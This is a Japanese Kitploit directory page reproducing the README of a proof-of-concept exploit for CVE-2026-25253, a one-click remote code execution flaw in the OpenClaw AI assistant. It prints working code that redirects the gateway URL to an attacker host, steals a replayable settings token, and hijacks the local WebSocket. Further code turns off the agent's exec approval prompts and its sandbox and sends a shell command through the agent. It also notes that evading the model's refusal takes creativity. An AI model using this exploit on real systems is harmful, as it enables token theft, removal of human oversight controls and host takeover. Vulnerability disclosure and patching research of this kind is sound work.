Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25253 — CVE-2026-25253の概念実証エクスプロイト。認証トークンの窃取とクロスサイトWebSocketハイジャッキングを介して、OpenClawにおけるワンクリックリモートコード実行を実証します。 | Kitploit
ツール/GitHubGitHub/kajzingerakos/cve-2026-25253
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ認証レッドチーミング
GitHubkajzingerakos/cve-2026-25253

CVE-2026-25253

CVE-2026-25253の概念実証エクスプロイト。認証トークンの窃取とクロスサイトWebSocketハイジャッキングを介して、OpenClawにおけるワンクリックリモートコード実行を実証します。

リポジトリを見る
135ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25253: OpenClawにおける認証トークン窃取によるワンクリックRCE

影響を受けるソフトウェア: OpenClaw (clawbot) < v2026.1.29
CVE ID: CVE-2026-25253
CVSSスコア: 8.8 (高)
影響: 認証されていないリモート攻撃者が認証トークンを窃取し、被害者のホスト上でリモートコード実行を達成できる可能性があります

法的免責事項: このコードと解説は、許可されたセキュリティ研究および教育目的のみで提供されています。明示的な書面による許可なくシステムに対してこのエクスプロイトを使用することは違法かつ非倫理的です。著者は誤用に対する責任を負いません。


技術的背景

OpenClawは、以前はClawdbotとして知られ、初期バージョンではMoltbotと呼ばれていた、macOS、Windows、またはLinux上でローカルに動作するAIアシスタントフレームワークです。AnthropicやOpenAIなどのクラウドベースのモデルと、ローカルモデルの両方をサポートしています。

Control UIはシングルページアプリケーションであり、/chatで提供されます。これは、ws://127.0.0.1:18789/(TLSの場合はwss://host:18789/)のWebSocketを介してローカルゲートウェイサーバーと通信します。

影響を受けるバージョンの主なセキュリティ特性:

  • 認証トークンとパスワードは**localStorage**に保存されます
  • デバイスIDはEd25519鍵ペア(noble-ed25519)によって確立されます
  • WebSocketプロトコルはJSON-RPCスタイルのメッセージ(、、)を使用します
type: "req"
"res"
"event"
  • 接続時に、Control UIは最初のconnectフレームで認証資格情報とデバイスIDを送信します

  • 根本原因: applySettingsFromUrl()

    この脆弱性は、Control UIのapplySettingsFromUrl()に存在します。

    Control UIが読み込まれると、この関数はURLから?gatewayUrl=クエリパラメータを読み取り、それをアクティブなゲートウェイエンドポイントとして保存します — 信頼できるホストを指しているかどうかの検証は一切行われません。

    攻撃者は次のようなリンクを作成できます:

    root@kitploit:~
    http://<target>/chat?gatewayUrl=ws://attacker.com
    

    被害者がOpenClawに認証された状態でこのリンクをクリックすると、以下のことが自動的に発生します:

    1. applySettingsFromUrl()がws://attacker.comを新しいゲートウェイURLとして保存します
    2. Control UIが攻撃者のサーバーへのWebSocket接続を開きます
    3. Control UIが認証トークン、デバイスID、Ed25519公開鍵を含むconnectフレームを攻撃者に送信します
    4. 攻撃者はトークンを取得し、ws://127.0.0.1:18789の正規ゲートウェイに対してそれを再生します
    5. 攻撃者は被害者のマシン上で認証されたオペレーターセッションを取得します

    悪用方法

    ステップ1 — ポップアップトリックによるトークン窃取

    このPoCでは、攻撃者は悪意のある?gatewayUrl=パラメータを注入した被害者自身のControl UIをポップアップで開くページ(meeting.html)をホストします:

    root@kitploit:~
    const attackerGatewayUrl = `ws://<attacker>:8080`;
    const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
    window.open(targetUrl, '_blank');
    

    攻撃者サーバーはOpenClawの2トークンフォールバックを悪用します: 最初のconnect試行はデバイストークン(Ed25519にバインドされており、再生不可)を使用します。これを拒否することで、サーバーはControl UIに設定トークン — 再生可能な長期有効なベアラートークン — での再試行を強制します:

    root@kitploit:~
    // 試行1を拒否 → Control UIに設定トークンでの再試行を強制
    if (connectAttempts === 1) {
      ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
      return;
    }
    // 試行2 → 設定トークン → 取得
    capturedToken = token;
    

    ステップ2 — クロスサイトWebSocketハイジャック

    窃取した設定トークンを使用して、meeting.htmlは実際のゲートウェイ(ws://127.0.0.1:18789)への独自の直接WebSocket接続を開きます。これは、v2026.1.29より前のバージョンのゲートウェイがOriginヘッダーを検証しないため可能です — 被害者のブラウザに読み込まれた任意のページがそれに接続できます。

    ステップ3 — セキュリティコントロールの無効化

    root@kitploit:~
    // すべての実行承認プロンプトをオフにする
    await sendRequest('exec.approvals.set', {
      file: {
        defaults: { ask: 'off', autoAllowSkills: true },
        agents: { '*': { ask: 'off' } },
      }
    });
    
    // コンテナサンドボックスから脱出し、execをホストマシンにリダイレクト
    await sendRequest('config.patch', {
      raw: JSON.stringify({
        tools: { exec: { host: 'gateway', ask: 'off' } },
        agents: { defaults: { sandbox: { mode: 'off' } } },
      })
    });
    

    ステップ4 — リモートコード実行

    メッセージフィールドの内容はエージェントに設定されたLLMによって処理されます。つまり、LLMがその内容を有害と判断した場合、コマンドは実行されません。LLMのセキュリティ対策を回避するには創造性が必要です。

    root@kitploit:~
    await sendRequest('agent', {
      message: 'Execute this shell command: <payload>',
      agentId: 'main',
      sessionKey: 'agent:main:main',
      deliver: false,
    });
    

    完全な攻撃フロー

    root@kitploit:~
    sequenceDiagram
        autonumber
        actor Attacker
        participant Browser as Victim Browser<br/>(meeting.html)
        participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
        participant AtkWS  as Attacker WS Server<br/>(:8080)
        participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
        participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)
    
        Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
    
        Note over Browser: Phase 1 — Token Theft
    
        Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
        Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
    
        CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
        AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
    
        CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
        AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
        AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
    
        Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
    
        Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
        GW-->>Browser: ✓ Authenticated as operator
    
        Note over Browser: Phase 3 — Security Bypass
    
        Browser->>GW: exec.approvals.set { ask: "off" }
        GW-->>Browser: ✓ Approval prompts disabled
    
        Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
        GW-->>Browser: ✓ Sandbox disabled, exec on host
    
        Note over Browser: Phase 4 — Remote Code Execution
    
        Browser->>GW: agent { message: "Execute shell command: COMMAND" }
        GW->>LLM: Forward prompt (security already stripped)
        LLM-->>GW: Tool call: exec("COMMAND")
        GW->>GW: Runs command on HOST filesystem
        GW-->>Browser: ✓ Command executed

    PoCの実行

    セットアップ

    root@kitploit:~
    npm install   # installs 'ws' dependency
    

    meeting.htmlの設定

    root@kitploit:~
    const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // victim's local gateway
    const ATTACKER_WS_PORT = 8080;                     // must match attacker-server.js
    const COMMAND = 'touch /tmp/success';
    

    実行

    root@kitploit:~
    node attacker-server.js
    

    被害者に送信:

    root@kitploit:~
    http://<ATTACKER_IP>:3000/meeting.html
    

    参考情報

    https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq

    https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253

    https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/

    ツールをダウンロード